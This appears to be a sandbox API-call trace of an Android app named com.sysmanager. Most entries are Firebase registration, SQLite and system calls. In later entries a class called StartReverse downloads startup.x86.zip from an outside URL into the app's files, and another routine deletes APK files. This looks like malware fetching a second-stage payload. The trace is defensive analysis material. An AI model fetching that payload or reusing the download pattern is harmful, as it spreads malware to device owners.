API: android.content.Intent->putExtras at com.google.firebase.iid.zzf.zza:168 Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzp:24 Show source
NameTypeValue
p0java.lang.String
  • toString: app
p1android.app.PendingIntent
  • toString: PendingIntent{2e2e130f: android.os.BinderProxy@6df9c}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:34 Show source
NameTypeValue
p0java.lang.String
  • toString: kid
p1java.lang.String
  • toString: |ID|0|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:64 Show source
NameTypeValue
p0java.lang.String
  • toString: X-kid
p1java.lang.String
  • toString: |ID|0|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:122 Show source
NameTypeValue
p0java.lang.String
  • toString: google.messenger
p1android.os.Messenger
  • toString: android.os.Messenger@389b5507
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: com.sysmanager.Scontext->startService at com.google.firebase.iid.zzf.zzb:169 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.google.android.gms/com.google.android.gms.gcm.PushMessagingRegistrarProxy}
API: android.content.Intent->getAction at com.google.firebase.iid.zzf.zzs:19 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.android.c2dm.intent.REGISTRATION
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzs:60 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
NameTypeValue
Return Valuejava.lang.String
  • toString: |ID|0|:MESSENGER
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzs:145 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
p1java.lang.String
  • toString: MESSENGER
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
API: com.google.firebase.iid.zzf->zzHn at com.google.firebase.iid.zzf.zzb:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:87 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.google.android.gms
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{1b0f67cc com.google.android.gms}
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:119 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{38b6612a com.sysmanager}
API: java.security.MessageDigest->digest at com.google.firebase.iid.zzf.zza:132 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@1db134b8
  • $1: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
  • $2: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
NameTypeValue
Return Valuejava.lang.Object
  • toString: [B@20d3b291
  • $1: Y<Yo4B`/{
  • $2: 59B00186873CC4596F344260FF092F7BD0DFAFEA
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.zzf.zza:157 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.Intent->putExtras at com.google.firebase.iid.zzf.zza:168 Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzp:24 Show source
NameTypeValue
p0java.lang.String
  • toString: app
p1android.app.PendingIntent
  • toString: PendingIntent{2e2e130f: android.os.BinderProxy@6df9c}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:34 Show source
NameTypeValue
p0java.lang.String
  • toString: kid
p1java.lang.String
  • toString: |ID|1|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:64 Show source
NameTypeValue
p0java.lang.String
  • toString: X-kid
p1java.lang.String
  • toString: |ID|1|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:122 Show source
NameTypeValue
p0java.lang.String
  • toString: google.messenger
p1android.os.Messenger
  • toString: android.os.Messenger@389b5507
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->getAction at com.google.firebase.iid.zzf.zzs:19 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.android.c2dm.intent.REGISTRATION
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzs:60 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzs:66 Show source
NameTypeValue
p0java.lang.String
  • toString: unregistered
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzr:7 Show source
NameTypeValue
p0java.lang.String
  • toString: error
NameTypeValue
Return Valuejava.lang.String
  • toString: SERVICE_NOT_AVAILABLE
API: com.google.firebase.iid.zzf.zza->onError at com.google.firebase.iid.zzf.zzay:19 Show source
NameTypeValue
p0java.lang.String
  • toString: SERVICE_NOT_AVAILABLE
NameTypeValue
Return Valuenull
  • toString: null
API: com.google.firebase.iid.zzf->zzeF at com.google.firebase.iid.zzf.zzr:187 Show source
NameTypeValue
p0java.lang.String
  • toString: SERVICE_NOT_AVAILABLE
NameTypeValue
Return Valuenull
  • toString: null
API: com.google.firebase.iid.zzf->zzHn at com.google.firebase.iid.zzf.zzb:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 2
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:87 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.google.android.gms
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{be55673 com.google.android.gms}
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:119 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{5b3b9a9 com.sysmanager}
API: java.security.MessageDigest->digest at com.google.firebase.iid.zzf.zza:132 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@1734e6cf
  • $1: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
  • $2: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
NameTypeValue
Return Valuejava.lang.Object
  • toString: [B@12f3885c
  • $1: Y<Yo4B`/{
  • $2: 59B00186873CC4596F344260FF092F7BD0DFAFEA
API: android.content.Intent->putExtras at com.google.firebase.iid.zzf.zza:168 Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzp:24 Show source
NameTypeValue
p0java.lang.String
  • toString: app
p1android.app.PendingIntent
  • toString: PendingIntent{2e2e130f: android.os.BinderProxy@6df9c}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:34 Show source
NameTypeValue
p0java.lang.String
  • toString: kid
p1java.lang.String
  • toString: |ID|2|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:64 Show source
NameTypeValue
p0java.lang.String
  • toString: X-kid
p1java.lang.String
  • toString: |ID|2|
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->putExtra at com.google.firebase.iid.zzf.zzb:122 Show source
NameTypeValue
p0java.lang.String
  • toString: google.messenger
p1android.os.Messenger
  • toString: android.os.Messenger@389b5507
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
API: android.content.Intent->getAction at com.google.firebase.iid.zzf.zzs:19 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.android.c2dm.intent.REGISTRATION
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzs:60 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzs:66 Show source
NameTypeValue
p0java.lang.String
  • toString: unregistered
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.zzf.zzr:7 Show source
NameTypeValue
p0java.lang.String
  • toString: error
NameTypeValue
Return Valuejava.lang.String
  • toString: SERVICE_NOT_AVAILABLE
API: com.google.firebase.iid.zzf.zza->onError at com.google.firebase.iid.zzf.zzay:19 Show source
NameTypeValue
p0java.lang.String
  • toString: SERVICE_NOT_AVAILABLE
NameTypeValue
Return Valuenull
  • toString: null
API: com.google.firebase.iid.zzf->zzeF at com.google.firebase.iid.zzf.zzr:187 Show source
NameTypeValue
p0java.lang.String
  • toString: SERVICE_NOT_AVAILABLE
NameTypeValue
Return Valuenull
  • toString: null
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.zzg.zzb:48 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.Intent->getAction at com.google.firebase.iid.zzg.zze:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.firebase.INSTANCE_ID_EVENT
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.zzg.zze:38 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.Intent->getAction at com.google.firebase.iid.zzg.zze:130 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.firebase.INSTANCE_ID_EVENT
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.zzg.zze:159 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: com.sysmanager.Scontext->checkCallingOrSelfPermission at com.google.firebase.iid.zzg.zzcv:6 Show source
NameTypeValue
p0java.lang.String
  • toString: android.permission.WAKE_LOCK
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
API: android.content.Intent->putExtra at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0java.lang.String
  • toString: android.support.content.wakelockid
p1java.lang.Integer
  • toString: 1
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
API: com.sysmanager.Scontext->startService at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.sysmanager/com.sysmanager.InstanceIDMessage}
API: com.sysmanager.Scontext->getSystemService at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0java.lang.String
  • toString: power
NameTypeValue
Return Valueandroid.os.PowerManager
  • toString: android.os.PowerManager@1d1ac509
API: android.content.Intent->putExtra at com.google.firebase.iid.zzg.zza:9 Show source
NameTypeValue
p0java.lang.String
  • toString: wrapped_intent
p1android.content.Intent
  • toString: Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT cmp=com.sysmanager/com.google.firebase.iid.FirebaseInstanceIdInternalReceiver (has extras) }
API: android.app.ReceiverRestrictedContext->getPackageName at com.google.firebase.iid.zzg.zzb:48 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.Intent->getAction at com.google.firebase.iid.zzg.zze:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.firebase.INSTANCE_ID_EVENT
API: android.app.ReceiverRestrictedContext->getPackageName at com.google.firebase.iid.zzg.zze:159 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.Intent->putExtra at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0java.lang.String
  • toString: android.support.content.wakelockid
p1java.lang.Integer
  • toString: 2
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
API: android.app.ReceiverRestrictedContext->startService at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.sysmanager/com.sysmanager.InstanceIDMessage}
API: android.app.ReceiverRestrictedContext->getSystemService at com.google.firebase.iid.zzg.zzg:7 Show source
NameTypeValue
p0java.lang.String
  • toString: power
NameTypeValue
Return Valueandroid.os.PowerManager
  • toString: android.os.PowerManager@1d1ac509
API: android.content.Intent->putExtra at com.google.firebase.iid.zzg.zza:9 Show source
NameTypeValue
p0java.lang.String
  • toString: wrapped_intent
p1android.content.Intent
  • toString: Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.firebase.INSTANCE_ID_EVENT cmp=com.sysmanager/com.google.firebase.iid.FirebaseInstanceIdInternalReceiver (has extras) }
API: java.io.File-><init> at com.google.firebase.iid.zzh.<init>:24 Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.sysmanager/no_backup
p1java.lang.String
  • toString: com.google.android.gms.appid-no-backup
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/no_backup/com.google.android.gms.appid-no-backup
API: java.io.File->exists at com.google.firebase.iid.zzh.zzeG:9 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: java.io.File->createNewFile at com.google.firebase.iid.zzh.<init>:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.google.firebase.iid.zzh->isEmpty at com.google.firebase.iid.zzh.zzeG:18 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.google.firebase.iid.zzh->zzeG at com.google.firebase.iid.zzh.<init>:24 Show source
NameTypeValue
p0java.lang.String
  • toString: com.google.android.gms.appid-no-backup
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzeI:11 Show source
NameTypeValue
p0java.lang.String
  • toString: |S||P|
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzeI:22 Show source
NameTypeValue
p0java.lang.String
  • toString: |S||K|
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.SharedPreferencesImpl->getString at com.google.firebase.iid.zzh.zzu:8 Show source
NameTypeValue
p0java.lang.String
  • toString: |T|108944492905|*
p1null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: com.google.android.gms.common.util.zzt->zzzg at com.google.firebase.FirebaseApp.zzcl:4 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.FirebaseApp.zzcl:6 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.FirebaseApp.zzcl:11 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.google.firebase.FirebaseApp->zzis at com.google.firebase.FirebaseApp.initializeApp:6 Show source
NameTypeValue
p0java.lang.String
  • toString: [DEFAULT]
NameTypeValue
Return Valuejava.lang.String
  • toString: [DEFAULT]
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.FirebaseApp.initializeApp:9 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.FirebaseApp.initializeApp:88 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.google.android.gms.common.internal.zzac->zzdr at com.google.firebase.FirebaseApp.<init>:29 Show source
NameTypeValue
p0java.lang.String
  • toString: [DEFAULT]
NameTypeValue
Return Valuejava.lang.String
  • toString: [DEFAULT]
API: com.google.firebase.FirebaseApp->getName at com.google.firebase.FirebaseApp.zzUV:3 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: [DEFAULT]
API: com.google.firebase.FirebaseOptions->getClass at com.google.firebase.FirebaseApp.zzUV:3 Show source
NameTypeValue
Return Valuejava.lang.Class
  • toString: java.lang.Class@18df8c54
  • getName: com.google.firebase.FirebaseOptions
API: com.google.android.gms.common.internal.zzaa.zza->toString at com.google.firebase.FirebaseApp.zzUV:3 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: java.lang.String@371f2cf2
API: com.google.firebase.FirebaseApp->getClass at com.google.firebase.FirebaseApp.zzUV:3 Show source
NameTypeValue
Return Valuejava.lang.Class
  • toString: java.lang.Class@2d240f43
  • getName: com.google.firebase.FirebaseApp
API: com.google.android.gms.common.internal.zzaa.zza->toString at com.google.firebase.FirebaseApp.zzUV:3 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: java.lang.String@373aa6f9
API: com.google.firebase.FirebaseApp->zzUV at com.google.firebase.FirebaseApp.initializeApp:70 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.system.RegistrationService->getSystemService at com.sysmanager.network.NetworkUtil.getConnectivityStatus:6 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@dd68dd4
API: com.sysmanager.system.RegistrationService->getSystemService at com.sysmanager.network.NetworkUtil.getConnectivityStatus:6 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@dd68dd4
API: com.sysmanager.system.RegistrationService->getSystemService at com.sysmanager.network.NetworkUtil.getConnectivityStatus:6 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@dd68dd4
API: java.io.File-><init> at com.sysmanager.network.StartReverse.doInBackground:35 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/setting
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/setting
API: java.io.File->exists at com.sysmanager.network.StartReverse.doInBackground:37 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: java.net.URL-><init> at com.sysmanager.network.StartReverse.doInBackground:67 Show source
NameTypeValue
p0java.lang.String
  • toString: http://url.plus/Updates/startup.x86.zip
NameTypeValue
Return Valuejava.net.URL
  • toString: http://url.plus/Updates/startup.x86.zip
API: java.net.URL->openConnection at com.sysmanager.network.StartReverse.doInBackground:69 Show source
NameTypeValue
Return Valuecom.android.okhttp.internal.http.HttpURLConnectionImpl
  • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
API: com.android.okhttp.internal.http.HttpURLConnectionImpl->connect at com.sysmanager.network.StartReverse.doInBackground:80 Show source
API: java.io.File-><init> at com.sysmanager.network.StartReverse.doInBackground:105 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
API: java.io.File->exists at com.sysmanager.network.StartReverse.doInBackground:107 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: java.io.FileOutputStream-><init> at com.sysmanager.network.StartReverse.doInBackground:114 Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
NameTypeValue
Return Valuejava.io.FileOutputStream
  • toString: java.io.FileOutputStream@2a604b67
API: com.android.okhttp.internal.http.HttpURLConnectionImpl->getInputStream at com.sysmanager.network.StartReverse.doInBackground:116 Show source
NameTypeValue
Return Valuejava.io.BufferedInputStream
  • toString: java.io.BufferedInputStream@1aa3ad14
API: java.io.File-><init> at com.sysmanager.network.StartReverse.doInBackground:35 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/setting
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/setting
API: java.io.File->exists at com.sysmanager.network.StartReverse.doInBackground:37 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: java.net.URL-><init> at com.sysmanager.network.StartReverse.doInBackground:67 Show source
NameTypeValue
p0java.lang.String
  • toString: http://url.plus/Updates/startup.x86.zip
NameTypeValue
Return Valuejava.net.URL
  • toString: http://url.plus/Updates/startup.x86.zip
API: java.net.URL->openConnection at com.sysmanager.network.StartReverse.doInBackground:69 Show source
NameTypeValue
Return Valuecom.android.okhttp.internal.http.HttpURLConnectionImpl
  • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
API: com.android.okhttp.internal.http.HttpURLConnectionImpl->connect at com.sysmanager.network.StartReverse.doInBackground:80 Show source
API: java.io.File-><init> at com.sysmanager.network.StartReverse.doInBackground:105 Show source
NameTypeValue
p0java.lang.String
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
API: java.io.File->exists at com.sysmanager.network.StartReverse.doInBackground:107 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: java.io.File->delete at com.sysmanager.network.StartReverse.doInBackground:111 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: java.io.FileOutputStream-><init> at com.sysmanager.network.StartReverse.doInBackground:114 Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.sysmanager/files/startup.x86.zip
NameTypeValue
Return Valuejava.io.FileOutputStream
  • toString: java.io.FileOutputStream@285cdad3
API: com.android.okhttp.internal.http.HttpURLConnectionImpl->getInputStream at com.sysmanager.network.StartReverse.doInBackground:116 Show source
NameTypeValue
Return Valuejava.io.BufferedInputStream
  • toString: java.io.BufferedInputStream@76fe6cd
API: com.sysmanager.Main->checkCallingOrSelfPermission at com.sysmanager.storage.DeleteApkFiles.doInBackground:7 Show source
NameTypeValue
p0java.lang.String
  • toString: android.permission.WRITE_EXTERNAL_STORAGE
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
API: java.io.File->exists at com.sysmanager.storage.DeleteApkFiles.doInBackground:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.Scontext->checkCallingOrSelfPermission at com.sysmanager.storage.DeleteApkFiles.doInBackground:7 Show source
NameTypeValue
p0java.lang.String
  • toString: android.permission.WRITE_EXTERNAL_STORAGE
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
API: java.io.File->exists at com.sysmanager.storage.DeleteApkFiles.doInBackground:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.Scontext->getApplicationContext at com.sysmanager.storage.Settings.getInstance:9 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: android.database.sqlite.SQLiteDatabase->rawQuery at com.sysmanager.storage.Settings.onConfigure:8 Show source
NameTypeValue
sqljava.lang.String
  • toString: PRAGMA journal_mode=WAL
selectionArgsnull
  • toString: null
NameTypeValue
Return Valueandroid.database.sqlite.SQLiteCursor
  • toString: android.database.sqlite.SQLiteCursor@317cdc57
API: android.database.sqlite.SQLiteDatabase->query at com.sysmanager.storage.Settings.getValue:16 Show source
NameTypeValue
tablejava.lang.String
  • toString: tab1
columnsnull
  • toString: null
selectionnull
  • toString: null
selectionArgsnull
  • toString: null
groupBynull
  • toString: null
havingnull
  • toString: null
orderBynull
  • toString: null
NameTypeValue
Return Valueandroid.database.sqlite.SQLiteCursor
  • toString: android.database.sqlite.SQLiteCursor@1d08e6f3
API: android.database.sqlite.SQLiteDatabase->query at com.sysmanager.storage.Settings.getValue:16 Show source
NameTypeValue
tablejava.lang.String
  • toString: tab1
columnsnull
  • toString: null
selectionnull
  • toString: null
selectionArgsnull
  • toString: null
groupBynull
  • toString: null
havingnull
  • toString: null
orderBynull
  • toString: null
NameTypeValue
Return Valueandroid.database.sqlite.SQLiteCursor
  • toString: android.database.sqlite.SQLiteCursor@2010512f
API: android.database.sqlite.SQLiteDatabase->query at com.sysmanager.storage.Settings.getValueString:17 Show source
NameTypeValue
tablejava.lang.String
  • toString: tab1
columnsnull
  • toString: null
selectionnull
  • toString: null
selectionArgsnull
  • toString: null
groupBynull
  • toString: null
havingnull
  • toString: null
orderBynull
  • toString: null
NameTypeValue
